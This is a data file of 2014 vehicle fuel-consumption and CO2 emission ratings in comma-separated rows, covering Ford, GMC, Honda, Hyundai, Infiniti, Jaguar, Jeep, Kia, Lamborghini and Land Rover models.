2014,FORD,F150,PICKUP TRUCK - STANDARD,3.5,6,A6,X,14.5,10.6,12.7,22,292 2014,FORD,F150,PICKUP TRUCK - STANDARD,3.5,6,AS6,X,14.6,10.6,12.8,22,294 2014,FORD,F150,PICKUP TRUCK - STANDARD,6.2,8,AS6,X,18.3,12.9,15.9,18,366 2014,FORD,F150 4X4,PICKUP TRUCK - STANDARD,3.5,6,A6,X,15.9,11.3,13.8,20,317 2014,FORD,F150 4X4,PICKUP TRUCK - STANDARD,3.5,6,AS6,X,15.4,11,13.4,21,308 2014,FORD,F150 4X4,PICKUP TRUCK - STANDARD,6.2,8,AS6,X,20.1,14.4,17.5,16,402 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,3.7,6,A6,X,14,10.3,12.3,23,283 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,3.7,6,A6,E,18.8,13.7,16.5,17,264 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,3.7,6,AS6,X,14,10.3,12.3,23,283 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,3.7,6,AS6,E,18.8,13.7,16.5,17,264 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,5,8,A6,X,16.4,12.3,14.6,19,336 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,5,8,A6,E,22.1,16.7,19.7,14,315 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,5,8,AS6,X,16.4,12.3,14.6,19,336 2014,FORD,F150 FFV,PICKUP TRUCK - STANDARD,5,8,AS6,E,22.1,16.7,19.7,14,315 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,3.7,6,A6,X,15,11.4,13.4,21,308 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,3.7,6,A6,E,20.2,15.3,18,16,288 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,3.7,6,AS6,X,15,11.4,13.4,21,308 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,3.7,6,AS6,E,20.2,15.3,18,16,288 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,5,8,A6,X,16.8,12.6,14.9,19,343 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,5,8,A6,E,22.4,17,20,14,320 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,5,8,AS6,X,16.7,12.5,14.8,19,340 2014,FORD,F150 FFV 4X4,PICKUP TRUCK - STANDARD,5,8,AS6,E,22.4,16.9,19.9,14,318 2014,FORD,F150 RAPTOR 4X4,PICKUP TRUCK - STANDARD,6.2,8,AS6,X,20.4,15,18,16,414 2014,FORD,FIESTA,SUBCOMPACT,1.6,4,AS6,X,8.5,6.5,7.6,37,175 2014,FORD,FIESTA,SUBCOMPACT,1.6,4,M5,X,8.6,6.4,7.6,37,175 2014,FORD,FIESTA SFE,SUBCOMPACT,1,4,M5,X,7.5,5.5,6.6,43,152 2014,FORD,FIESTA SFE,SUBCOMPACT,1.6,4,AS6,X,8,5.8,7,40,161 2014,FORD,FIESTA ST,COMPACT,1.6,4,M6,X,8.9,6.8,8,35,184 2014,FORD,FLEX,SUV - STANDARD,3.5,6,AS6,X,13.2,9.4,11.5,25,264 2014,FORD,FLEX AWD,SUV - STANDARD,3.5,6,AS6,X,13.7,10.2,12.1,23,278 2014,FORD,FLEX AWD (EcoBoost),SUV - STANDARD,3.5,6,AS6,X,14.8,10.4,12.8,22,294 2014,FORD,FOCUS,COMPACT,2,4,M6,X,10.2,7.4,8.9,32,205 2014,FORD,FOCUS FFV,COMPACT,2,4,A6,X,8.8,6.4,7.7,37,177 2014,FORD,FOCUS FFV,COMPACT,2,4,A6,E,11.7,8.5,10.3,27,165 2014,FORD,FOCUS FFV,COMPACT,2,4,AS6,X,8.9,6.4,7.8,36,179 2014,FORD,FOCUS FFV,COMPACT,2,4,AS6,E,11.7,8.5,10.3,27,165 2014,FORD,FOCUS FFV,COMPACT,2,4,M5,X,9.1,6.6,8,35,184 2014,FORD,FOCUS FFV,COMPACT,2,4,M5,E,11.9,8.9,10.6,27,170 2014,FORD,FOCUS SFE FFV,COMPACT,2,4,A6,X,8.4,5.8,7.2,39,166 2014,FORD,FOCUS SFE FFV,COMPACT,2,4,A6,E,11.6,8.3,10.1,28,162 2014,FORD,FUSION,MID-SIZE,1.5,4,AS6,X,10.1,6.6,8.5,33,196 2014,FORD,FUSION,MID-SIZE,1.6,4,M6,X,9.4,6.4,8.1,35,186 2014,FORD,FUSION,MID-SIZE,2,4,AS6,X,10.5,7.1,9,31,207 2014,FORD,FUSION,MID-SIZE,2.5,4,AS6,X,10.5,7,8.9,32,205 2014,FORD,FUSION (Start/Stop),MID-SIZE,1.5,4,AS6,X,9.5,6.3,8.1,35,186 2014,FORD,FUSION AWD,MID-SIZE,2,4,AS6,X,10.9,7.5,9.4,30,216 2014,FORD,FUSION HYBRID,MID-SIZE,2,4,AV,X,5.3,5.7,5.5,51,126 2014,FORD,MUSTANG,SUBCOMPACT,3.7,6,A6,X,12.1,7.8,10.2,28,235 2014,FORD,MUSTANG,SUBCOMPACT,3.7,6,M6,X,12.7,8.1,10.6,27,244 2014,FORD,MUSTANG,SUBCOMPACT,5,8,A6,X,13.3,9.3,11.5,25,264 2014,FORD,MUSTANG,SUBCOMPACT,5,8,M6,X,15.4,9.4,12.7,22,292 2014,FORD,MUSTANG,SUBCOMPACT,5.8,8,M6,Z,15.9,9.9,13.2,21,304 2014,FORD,MUSTANG CONVERTIBLE,SUBCOMPACT,3.7,6,A6,X,12.5,8.2,10.6,27,244 2014,FORD,TAURUS,FULL-SIZE,2,4,AS6,X,10.5,7.3,9.1,31,209 2014,FORD,TAURUS AWD,FULL-SIZE,3.5,6,AS6,X,13.7,9.4,11.8,24,271 2014,FORD,TAURUS FFV,FULL-SIZE,3.5,6,AS6,X,12.1,8.1,10.3,27,237 2014,FORD,TAURUS FFV,FULL-SIZE,3.5,6,AS6,E,17,11.1,14.3,20,229 2014,FORD,TAURUS FFV AWD,FULL-SIZE,3.5,6,AS6,X,13,9.1,11.2,25,258 2014,FORD,TAURUS FFV AWD,FULL-SIZE,3.5,6,AS6,E,18.4,12.5,15.7,18,251 2014,FORD,TRANSIT CONNECT,SPECIAL PURPOSE VEHICLE,1.6,4,AS6,X,10.8,8,9.5,30,218 2014,FORD,TRANSIT CONNECT,SPECIAL PURPOSE VEHICLE,2.5,4,AS6,X,11.3,8.2,9.9,29,228 2014,FORD,TRANSIT CONNECT TAXI,SPECIAL PURPOSE VEHICLE,1.6,4,AS6,X,11.5,8.3,10.1,28,232 2014,FORD,TRANSIT CONNECT WAGON,SPECIAL PURPOSE VEHICLE,2.5,4,AS6,X,11.9,8.5,10.4,27,239 2014,GMC,ACADIA,SUV - STANDARD,3.6,6,A6,X,14.3,9.9,12.3,23,283 2014,GMC,ACADIA AWD,SUV - STANDARD,3.6,6,A6,X,14.9,10.4,12.9,22,297 2014,GMC,SAVANA 1500 CARGO,VAN - CARGO,4.3,6,A4,X,17.1,12.7,15.1,19,347 2014,GMC,SAVANA 1500 CARGO,VAN - CARGO,5.3,8,A4,X,18,13.4,15.9,18,366 2014,GMC,SAVANA 1500 CARGO,VAN - CARGO,5.3,8,A4,E,23.5,17.7,20.9,14,334 2014,GMC,SAVANA 1500 CARGO AWD,VAN - CARGO,5.3,8,A4,X,18.3,14.2,16.5,17,380 2014,GMC,SAVANA 1500 CARGO AWD,VAN - CARGO,5.3,8,A4,E,23.7,18.8,21.5,13,344 2014,GMC,SAVANA 1500 CARGO CONV,VAN - CARGO,5.3,8,A4,X,18.6,13.9,16.5,17,380 2014,GMC,SAVANA 1500 CARGO CONV,VAN - CARGO,5.3,8,A4,E,23.9,18.5,21.5,13,344 2014,GMC,SAVANA 1500 CARGO CONV AWD,VAN - CARGO,5.3,8,A4,X,18.3,14.2,16.5,17,380 2014,GMC,SAVANA 1500 CARGO CONV AWD,VAN - CARGO,5.3,8,A4,E,25.3,19.3,22.6,12,362 2014,GMC,SAVANA 1500 PASSENGER,VAN - PASSENGER,5.3,8,A4,X,18.6,13.9,16.5,17,380 2014,GMC,SAVANA 1500 PASSENGER,VAN - PASSENGER,5.3,8,A4,E,23.9,18.5,21.5,13,344 2014,GMC,SAVANA 1500 PASSENGER AWD,VAN - PASSENGER,5.3,8,A4,X,18.3,14.2,16.5,17,380 2014,GMC,SAVANA 1500 PASSENGER AWD,VAN - PASSENGER,5.3,8,A4,E,25.3,19.3,22.6,12,362 2014,GMC,SAVANA 2500 PASSENGER,VAN - PASSENGER,4.8,8,A6,X,21.1,14.2,18,16,414 2014,GMC,SAVANA 2500 PASSENGER,VAN - PASSENGER,6,8,A6,X,21.9,15,18.8,15,432 2014,GMC,SAVANA 2500 PASSENGER,VAN - PASSENGER,6,8,A6,E,30,20.4,25.7,11,411 2014,GMC,SAVANA 3500 PASSENGER,VAN - PASSENGER,4.8,8,A6,X,21.3,14.3,18.2,16,419 2014,GMC,SAVANA 3500 PASSENGER,VAN - PASSENGER,6,8,A6,X,22.1,15,18.9,15,435 2014,GMC,SAVANA 3500 PASSENGER,VAN - PASSENGER,6,8,A6,E,30.2,20.5,25.8,11,413 2014,GMC,SIERRA,PICKUP TRUCK - STANDARD,4.3,6,A6,X,13.4,9.9,11.8,24,271 2014,GMC,SIERRA,PICKUP TRUCK - STANDARD,4.3,6,A6,E,18.9,14.2,16.8,17,269 2014,GMC,SIERRA,PICKUP TRUCK - STANDARD,5.3,8,A6,X,14.6,10.3,12.7,22,292 2014,GMC,SIERRA,PICKUP TRUCK - STANDARD,5.3,8,A6,E,19.5,13.7,16.9,17,270 2014,GMC,SIERRA,PICKUP TRUCK - STANDARD,6.2,8,A6,Z,16.3,11.4,14.1,20,324 2014,GMC,SIERRA 4WD,PICKUP TRUCK - STANDARD,4.3,6,A6,X,14.2,10.6,12.6,22,290 2014,GMC,SIERRA 4WD,PICKUP TRUCK - STANDARD,4.3,6,A6,E,20,15.1,17.8,16,285 2014,GMC,SIERRA 4WD,PICKUP TRUCK - STANDARD,5.3,8,A6,X,14.9,10.6,13,22,299 2014,GMC,SIERRA 4WD,PICKUP TRUCK - STANDARD,5.3,8,A6,E,19.9,14.2,17.3,16,277 2014,GMC,SIERRA 4WD,PICKUP TRUCK - STANDARD,6.2,8,A6,Z,16.4,11.7,14.3,20,329 2014,GMC,TERRAIN,SUV - SMALL,2.4,4,A6,X,10.5,7.3,9.1,31,209 2014,GMC,TERRAIN,SUV - SMALL,3.6,6,A6,X,13.9,9.6,12,24,276 2014,GMC,TERRAIN,SUV - SMALL,3.6,6,A6,E,18.8,13.1,16.2,17,259 2014,GMC,TERRAIN AWD,SUV - SMALL,2.4,4,A6,X,11.5,8.2,10,28,230 2014,GMC,TERRAIN AWD,SUV - SMALL,3.6,6,A6,X,14.8,9.9,12.6,22,290 2014,GMC,TERRAIN AWD,SUV - SMALL,3.6,6,A6,E,19.8,13.6,17,17,272 2014,GMC,YUKON,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,GMC,YUKON,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,GMC,YUKON 4WD,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,GMC,YUKON 4WD,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,GMC,YUKON DENALI AWD,SUV - STANDARD,6.2,8,A6,Z,17,11.8,14.7,19,338 2014,GMC,YUKON DENALI AWD,SUV - STANDARD,6.2,8,A6,E,23.3,16.1,20.1,14,322 2014,GMC,YUKON DENALI XL AWD,SUV - STANDARD,6.2,8,A6,Z,18.8,13.4,16.4,17,377 2014,GMC,YUKON DENALI XL AWD,SUV - STANDARD,6.2,8,A6,E,25.7,17.8,22.1,13,354 2014,GMC,YUKON XL,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,GMC,YUKON XL,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,GMC,YUKON XL 4WD,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,GMC,YUKON XL 4WD,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,HONDA,ACCORD,MID-SIZE,2.4,4,AV,X,9,6.6,7.9,36,182 2014,HONDA,ACCORD,MID-SIZE,2.4,4,AV7,X,9.1,6.9,8.1,35,186 2014,HONDA,ACCORD,MID-SIZE,2.4,4,M6,X,10.1,6.9,8.7,32,200 2014,HONDA,ACCORD,MID-SIZE,3.5,6,A6,X,11,6.8,9.1,31,209 2014,HONDA,ACCORD,MID-SIZE,3.5,6,AS6,X,11.4,7.3,9.6,29,221 2014,HONDA,ACCORD,MID-SIZE,3.5,6,M6,X,13,8.4,10.9,26,251 2014,HONDA,ACCORD HYBRID,MID-SIZE,2,4,AV,X,4.7,4.9,4.8,59,110 2014,HONDA,CIVIC,COMPACT,1.8,4,AV,X,7.9,6,7,40,161 2014,HONDA,CIVIC,COMPACT,1.8,4,AV7,X,8.1,6.2,7.2,39,166 2014,HONDA,CIVIC,COMPACT,1.8,4,M5,X,8.5,6.6,7.6,37,175 2014,HONDA,CROSSTOUR AWD,SUV - SMALL,3.5,6,A6,X,12.5,8.5,10.7,26,246 2014,HONDA,CR-V,SUV - SMALL,2.4,4,A5,X,10.3,7.6,9.1,31,209 2014,HONDA,CR-V AWD,SUV - SMALL,2.4,4,A5,X,10.6,7.9,9.4,30,216 2014,HONDA,CR-Z,TWO-SEATER,1.5,4,AV7,X,6.6,6,6.3,45,145 2014,HONDA,CR-Z,TWO-SEATER,1.5,4,M6,X,7.6,6.1,6.9,41,159 2014,HONDA,FIT,STATION WAGON - SMALL,1.5,4,A5,X,8.3,6.5,7.5,38,172 2014,HONDA,FIT,STATION WAGON - SMALL,1.5,4,M5,X,8.3,6.9,7.7,37,177 2014,HONDA,ODYSSEY,MINIVAN,3.5,6,A6,X,12.3,8.5,10.6,27,244 2014,HONDA,PILOT,SUV - SMALL,3.5,6,A5,X,13.3,9.3,11.5,25,265 2014,HONDA,PILOT AWD,SUV - SMALL,3.5,6,A5,X,13.9,9.7,12,24,276 2014,HONDA,RIDGELINE AWD,PICKUP TRUCK - STANDARD,3.5,6,A5,X,15.2,11.3,13.4,21,308 2014,HYUNDAI,ACCENT,COMPACT,1.6,4,A6,X,8.8,6.3,7.7,37,177 2014,HYUNDAI,ACCENT,COMPACT,1.6,4,M6,X,8.7,6.4,7.7,37,177 2014,HYUNDAI,ELANTRA GT,MID-SIZE,2,4,A6,X,9.8,7.2,8.6,33,198 2014,HYUNDAI,ELANTRA GT,MID-SIZE,2,4,M6,X,9.8,7,8.5,33,196 2014,HYUNDAI,EQUUS,FULL-SIZE,5,8,A8,Z,15.7,10.2,13.2,21,304 2014,HYUNDAI,GENESIS,FULL-SIZE,3.8,6,A8,X,13,8.7,11.1,25,255 2014,HYUNDAI,SANTA FE,SUV - SMALL,3.3,6,A6,X,13,9.1,11.2,25,258 2014,HYUNDAI,SANTA FE 4WD,SUV - SMALL,3.3,6,A6,X,13.3,9.5,11.6,24,267 2014,HYUNDAI,SANTA FE SPORT,SUV - SMALL,2.4,4,A6,X,11.6,8.7,10.3,27,237 2014,HYUNDAI,SANTA FE SPORT 4WD,SUV - SMALL,2,4,A6,X,12.9,9.7,11.5,25,264 2014,HYUNDAI,SANTA FE SPORT 4WD,SUV - SMALL,2.4,4,A6,X,12.5,9.4,11.1,25,255 2014,HYUNDAI,SONATA,FULL-SIZE,2,4,A6,X,11.4,7.5,9.6,29,221 2014,HYUNDAI,SONATA,FULL-SIZE,2.4,4,A6,X,9.8,7,8.5,33,196 2014,HYUNDAI,SONATA HYBRID,MID-SIZE,2.4,4,AS6,X,6.5,5.9,6.2,46,143 2014,HYUNDAI,SONATA HYBRID LIMITED,MID-SIZE,2.4,4,AS6,X,6.6,5.9,6.3,45,145 2014,HYUNDAI,TUCSON,SUV - SMALL,2,4,A6,X,10.2,8.2,9.3,30,214 2014,HYUNDAI,TUCSON,SUV - SMALL,2,4,M6,X,11.4,8.6,10.1,28,232 2014,HYUNDAI,TUCSON,SUV - SMALL,2.4,4,A6,X,11.3,8.3,10,28,230 2014,HYUNDAI,TUCSON 4WD,SUV - SMALL,2,4,A6,X,11.4,9.3,10.5,27,242 2014,HYUNDAI,TUCSON 4WD,SUV - SMALL,2.4,4,A6,X,11.6,9.3,10.6,27,244 2014,HYUNDAI,VELOSTER,COMPACT,1.6,4,AM6,X,8.6,6.6,7.7,37,177 2014,HYUNDAI,VELOSTER,COMPACT,1.6,4,M6,X,9.1,6.7,8,35,184 2014,HYUNDAI,VELOSTER TURBO,COMPACT,1.6,4,A6,X,9.9,7.5,8.8,32,202 2014,HYUNDAI,VELOSTER TURBO,COMPACT,1.6,4,M6,X,9.7,7.1,8.5,33,196 2014,INFINITI,Q50,MID-SIZE,3.7,6,AS7,Z,12,8,10.2,28,235 2014,INFINITI,Q50 AWD,MID-SIZE,3.7,6,AS7,Z,12.6,8.7,10.8,26,248 2014,INFINITI,Q50 HYBRID,COMPACT,3.5,6,AS7,Z,8.2,6.7,7.5,38,172 2014,INFINITI,Q50 HYBRID AWD,COMPACT,3.5,6,AS7,Z,8.7,7.5,8.2,34,189 2014,INFINITI,Q60 AWD COUPE,SUBCOMPACT,3.7,6,AS7,Z,13.3,9.4,11.5,25,265 2014,INFINITI,Q60 CONVERTIBLE,SUBCOMPACT,3.7,6,AS7,Z,13.6,9.3,11.7,24,269 2014,INFINITI,Q60 CONVERTIBLE,SUBCOMPACT,3.7,6,M6,Z,14.3,9.8,12.3,23,283 2014,INFINITI,Q60 COUPE,SUBCOMPACT,3.7,6,AS7,Z,12.9,8.9,11.1,25,255 2014,INFINITI,Q60 COUPE,SUBCOMPACT,3.7,6,M6,Z,13.5,9.3,11.6,24,267 2014,INFINITI,Q70,MID-SIZE,3.7,6,AS7,Z,12.8,8.9,11,26,253 2014,INFINITI,Q70,MID-SIZE,5.6,8,AS7,Z,14.5,9.5,12.3,23,283 2014,INFINITI,Q70 AWD,MID-SIZE,3.7,6,AS7,Z,13.2,9.6,11.6,24,267 2014,INFINITI,Q70 AWD,MID-SIZE,5.6,8,AS7,Z,15,10.2,12.8,22,294 2014,INFINITI,Q70 HYBRID,MID-SIZE,3.5,6,AS7,Z,8,7,7.6,37,175 2014,INFINITI,QX50 AWD,STATION WAGON - SMALL,3.7,6,AS7,Z,13.6,9.6,11.8,24,271 2014,INFINITI,QX60,SUV - SMALL,3.5,6,AV,Z,11.9,9,10.6,27,244 2014,INFINITI,QX60 AWD,SUV - SMALL,3.5,6,AV,Z,12.3,9.3,11,26,253 2014,INFINITI,QX60 HYBRID AWD,SUV - STANDARD,2.5,4,AV,X,8.8,8.2,8.5,33,196 2014,INFINITI,QX70 AWD,SUV - SMALL,3.7,6,AS7,Z,14.5,10.7,12.8,22,294 2014,INFINITI,QX70 AWD,SUV - SMALL,5,8,AS7,Z,16.6,11.9,14.5,19,334 2014,INFINITI,QX80 4WD,SUV - STANDARD,5.6,8,AS7,Z,17.4,12.1,15,19,345 2014,JAGUAR,F-TYPE CONVERTIBLE,TWO-SEATER,3,6,AS8,Z,11.8,8.4,10.3,27,237 2014,JAGUAR,F-TYPE S CONVERTIBLE,TWO-SEATER,3,6,AS8,Z,12.2,8.7,10.6,27,244 2014,JAGUAR,F-TYPE V8 S CONVERTIBLE,TWO-SEATER,5,8,AS8,Z,15,10.2,12.8,22,294 2014,JAGUAR,XF,MID-SIZE,2,4,AS8,Z,12.3,8.2,10.5,27,242 2014,JAGUAR,XF 3.0L AWD,MID-SIZE,3,6,AS8,Z,14.7,9.1,12.2,23,281 2014,JAGUAR,XFR,MID-SIZE,5,8,AS8,Z,15.7,10.3,13.3,21,306 2014,JAGUAR,XFR,MID-SIZE,5,8,AS8,E,21.3,14.1,18.1,16,290 2014,JAGUAR,XFR-S,MID-SIZE,5,8,AS8,Z,15.7,10.3,13.3,21,306 2014,JAGUAR,XJ AWD,FULL-SIZE,3,6,AS8,Z,14.6,9.6,12.4,23,285 2014,JAGUAR,XJ SUPERCHARGED,FULL-SIZE,5,8,AS8,Z,15.8,10.2,13.3,21,306 2014,JAGUAR,XJ SUPERCHARGED,FULL-SIZE,5,8,AS8,E,20.6,13.6,17.5,16,280 2014,JAGUAR,XJL AWD PORTFOLIO,FULL-SIZE,3,6,AS8,Z,14.7,9.6,12.4,23,285 2014,JAGUAR,XJL SUPERCHARGED,FULL-SIZE,5,8,AS8,Z,15.8,10.2,13.3,21,306 2014,JAGUAR,XJL SUPERCHARGED,FULL-SIZE,5,8,AS8,E,20.6,13.6,17.5,16,280 2014,JAGUAR,XJR,FULL-SIZE,5,8,AS8,Z,15.8,10.2,13.3,21,306 2014,JAGUAR,XJR LWB,FULL-SIZE,5,8,AS8,Z,15.8,10.2,13.3,21,306 2014,JAGUAR,XK CONVERTIBLE,MINICOMPACT,5,8,AS6,Z,15.1,10.6,13.1,22,301 2014,JAGUAR,XK COUPE,MINICOMPACT,5,8,AS6,Z,14.8,9.9,12.6,22,290 2014,JAGUAR,XKR CONVERTIBLE,MINICOMPACT,5,8,AS6,Z,15.9,10.9,13.7,21,315 2014,JAGUAR,XKR COUPE,MINICOMPACT,5,8,AS6,Z,15.6,10.9,13.5,21,310 2014,JAGUAR,XKR-S CONVERTIBLE,MINICOMPACT,5,8,AS6,Z,15.9,10.9,13.7,21,315 2014,JAGUAR,XKR-S COUPE,MINICOMPACT,5,8,AS6,Z,15.6,10.9,13.5,21,310 2014,JEEP,CHEROKEE,SUV - SMALL,2.4,4,A9,X,10.9,7.7,9.5,30,218 2014,JEEP,CHEROKEE,SUV - SMALL,3.2,6,A9,X,12.3,8.3,10.5,27,242 2014,JEEP,CHEROKEE 4X4,SUV - SMALL,2.4,4,A9,X,11.3,8.3,10,28,230 2014,JEEP,CHEROKEE 4X4,SUV - SMALL,3.2,6,A9,X,12.5,8.8,10.8,26,248 2014,JEEP,CHEROKEE 4X4 Active Drive II,SUV - SMALL,2.4,4,A9,X,11.4,8.6,10.1,28,232 2014,JEEP,CHEROKEE 4X4 Active Drive II,SUV - SMALL,3.2,6,A9,X,12.5,9.1,11,26,253 2014,JEEP,CHEROKEE TRAILHAWK 4X4,SUV - SMALL,2.4,4,A9,X,12.1,9.4,10.9,26,251 2014,JEEP,CHEROKEE TRAILHAWK 4X4,SUV - SMALL,3.2,6,A9,X,13.4,9.5,11.6,24,267 2014,JEEP,COMPASS,SUV - SMALL,2,4,A6,X,11.1,8.3,9.8,29,225 2014,JEEP,COMPASS,SUV - SMALL,2,4,M5,X,10.2,7.8,9.1,31,209 2014,JEEP,COMPASS,SUV - SMALL,2.4,4,A6,X,11.1,8.3,9.8,29,225 2014,JEEP,COMPASS,SUV - SMALL,2.4,4,M5,X,10.3,8.3,9.4,30,216 2014,JEEP,COMPASS 4X4,SUV - SMALL,2.4,4,A6,X,11.4,8.7,10.2,28,235 2014,JEEP,COMPASS 4X4,SUV - SMALL,2.4,4,M5,X,10.3,8.4,9.4,30,216 2014,JEEP,COMPASS 4X4 TRAIL RATED,SUV - SMALL,2.4,4,AV,X,11.7,10.3,11.1,25,255 2014,JEEP,GRAND CHEROKEE 4X4 (MDS),SUV - STANDARD,5.7,8,A8,X,17.3,11.7,14.8,19,340 2014,JEEP,GRAND CHEROKEE 4X4 DIESEL,SUV - STANDARD,3,6,A8,D,11.2,8.4,9.9,29,267 2014,JEEP,GRAND CHEROKEE 4X4 FFV,SUV - STANDARD,3.6,6,A8,X,13.9,9.8,12.1,23,278 2014,JEEP,GRAND CHEROKEE 4X4 FFV,SUV - STANDARD,3.6,6,A8,E,17.7,13,15.6,18,250 2014,JEEP,GRAND CHEROKEE 4X4 SRT (MDS),SUV - STANDARD,6.4,8,A8,Z,18.5,12.6,15.8,18,363 2014,JEEP,PATRIOT,SUV - SMALL,2,4,A6,X,11.1,8.3,9.8,29,225 2014,JEEP,PATRIOT,SUV - SMALL,2,4,M5,X,10.2,7.8,9.1,31,209 2014,JEEP,PATRIOT,SUV - SMALL,2.4,4,A6,X,11.1,8.3,9.8,29,225 2014,JEEP,PATRIOT,SUV - SMALL,2.4,4,M5,X,10.3,8.3,9.4,30,216 2014,JEEP,PATRIOT 4X4,SUV - SMALL,2.4,4,A6,X,11.4,8.7,10.2,28,235 2014,JEEP,PATRIOT 4X4,SUV - SMALL,2.4,4,M5,X,10.3,8.4,9.4,30,216 2014,JEEP,PATRIOT 4X4 TRAIL RATED,SUV - SMALL,2.4,4,AV,X,11.7,10.3,11.1,25,255 2014,JEEP,WRANGLER 4X4 (2-DOOR),SUV - SMALL,3.6,6,A5,X,14.1,11.1,12.8,22,294 2014,JEEP,WRANGLER 4X4 (2-DOOR),SUV - SMALL,3.6,6,M6,X,14.2,11,12.8,22,294 2014,JEEP,WRANGLER UNLIMITED 4X4 (4-DOOR),SUV - SMALL,3.6,6,A5,X,14.8,11.7,13.4,21,308 2014,JEEP,WRANGLER UNLIMITED 4X4 (4-DOOR),SUV - SMALL,3.6,6,M6,X,15,11.4,13.4,21,308 2014,KIA,CADENZA,FULL-SIZE,3.3,6,A6,X,12.7,8.8,10.9,26,251 2014,KIA,FORTE,MID-SIZE,1.8,4,A6,X,9.6,6.6,8.3,34,191 2014,KIA,FORTE,MID-SIZE,1.8,4,M6,X,9.3,6.4,8,35,184 2014,KIA,FORTE,MID-SIZE,2,4,A6,X,9.8,6.6,8.4,34,193 2014,KIA,FORTE,MID-SIZE,2,4,M6,X,9.7,6.8,8.4,34,193 2014,KIA,FORTE 5,FULL-SIZE,1.6,4,A6,X,11.1,8,9.7,29,223 2014,KIA,FORTE 5,FULL-SIZE,1.6,4,M6,X,11.1,8.2,9.8,29,225 2014,KIA,FORTE 5,FULL-SIZE,2,4,A6,X,9.7,6.8,8.4,34,193 2014,KIA,FORTE 5,FULL-SIZE,2,4,M6,X,9.8,7,8.5,33,196 2014,KIA,FORTE KOUP,COMPACT,1.6,4,A6,X,10.6,7.9,9.4,30,216 2014,KIA,FORTE KOUP,COMPACT,1.6,4,M6,X,10.8,8.1,9.6,29,221 2014,KIA,FORTE KOUP,COMPACT,2,4,A6,X,9.6,7,8.4,34,193 2014,KIA,FORTE KOUP,COMPACT,2,4,M6,X,9.8,7.2,8.6,33,198 2014,KIA,OPTIMA,MID-SIZE,2,4,A6,X,11.7,7.6,9.9,29,228 2014,KIA,OPTIMA,MID-SIZE,2.4,4,A6,X,10.2,6.8,8.7,32,200 2014,KIA,RIO,COMPACT,1.6,4,A6,X,8.7,6.3,7.6,37,175 2014,KIA,RIO,COMPACT,1.6,4,M6,X,8.7,6.4,7.7,37,177 2014,KIA,RIO ECO,COMPACT,1.6,4,A6,X,8.5,6.4,7.6,37,175 2014,KIA,RONDO,STATION WAGON - MID-SIZE,2,4,A6,X,10.5,7.5,9.2,31,212 2014,KIA,RONDO,STATION WAGON - MID-SIZE,2,4,M6,X,10.8,7.4,9.3,30,214 2014,KIA,SEDONA,MINIVAN,3.5,6,A6,X,13.7,9.9,12,24,276 2014,KIA,SORENTO,SUV - SMALL,2.4,4,A6,X,11.8,8.5,10.3,27,237 2014,KIA,SORENTO,SUV - SMALL,3.3,6,A6,X,12.9,9.5,11.4,25,262 2014,KIA,SORENTO 4WD,SUV - SMALL,2.4,4,A6,X,12.3,9.3,11,26,253 2014,KIA,SORENTO 4WD,SUV - SMALL,3.3,6,A6,X,13.4,9.9,11.8,24,271 2014,KIA,SOUL,STATION WAGON - SMALL,1.6,4,A6,X,9.8,7.9,8.9,32,205 2014,KIA,SOUL,STATION WAGON - SMALL,1.6,4,M6,X,9.9,7.8,9,31,207 2014,KIA,SOUL,STATION WAGON - SMALL,2,4,A6,X,10.1,7.8,9.1,31,209 2014,KIA,SOUL ECO Dynamics,STATION WAGON - SMALL,2,4,A6,X,9.7,7.8,8.8,32,202 2014,KIA,SPORTAGE,SUV - SMALL,2.4,4,A6,X,11.4,8.3,10,28,230 2014,KIA,SPORTAGE,SUV - SMALL,2.4,4,M6,X,12.9,9.3,11.3,25,260 2014,KIA,SPORTAGE AWD,SUV - SMALL,2,4,A6,X,12.7,9.7,11.4,25,262 2014,KIA,SPORTAGE AWD,SUV - SMALL,2.4,4,A6,X,12,9.1,10.7,26,246 2014,LAMBORGHINI,AVENTADOR COUPE,TWO-SEATER,6.5,12,A7,Z,22.8,12.9,18.3,15,421 2014,LAMBORGHINI,GALLARDO COUPE,TWO-SEATER,5.2,10,A6,Z,18,12.8,15.7,18,361 2014,LAMBORGHINI,GALLARDO COUPE,TWO-SEATER,5.2,10,M6,Z,20.6,13.5,17.4,16,400 2014,LAND ROVER,LR2,SUV - SMALL,2,4,AS6,Z,13.5,9.9,11.9,24,274 2014,LAND ROVER,LR4,SUV - STANDARD,3,6,AS8,Z,16.3,12.4,14.5,19,334 2014,LAND ROVER,RANGE ROVER EVOQUE,SUV - SMALL,2,4,AS9,Z,11.3,7.9,9.8,29,225 2014,LAND ROVER,RANGE ROVER EVOQUE COUPE,SUV - SMALL,2,4,AS9,Z,11.3,7.9,9.8,29,225 2014,LAND ROVER,RANGE ROVER LWB V8 5.0 SC,SUV - STANDARD,5,8,AS8,Z,18,12.2,15.4,18,354 2014,LAND ROVER,RANGE ROVER LWB V8 5.0 SC FFV,SUV - STANDARD,5,8,AS8,Z,17.2,12.5,15.1,19,347 2014,LAND ROVER,RANGE ROVER LWB V8 5.0 SC FFV,SUV - STANDARD,5,8,AS8,E,25,16.9,21.4,13,342 2014,LAND ROVER,RANGE ROVER SPORT V6 3.0 SC,SUV - STANDARD,3,6,AS8,Z,14.2,10.2,12.4,23,285 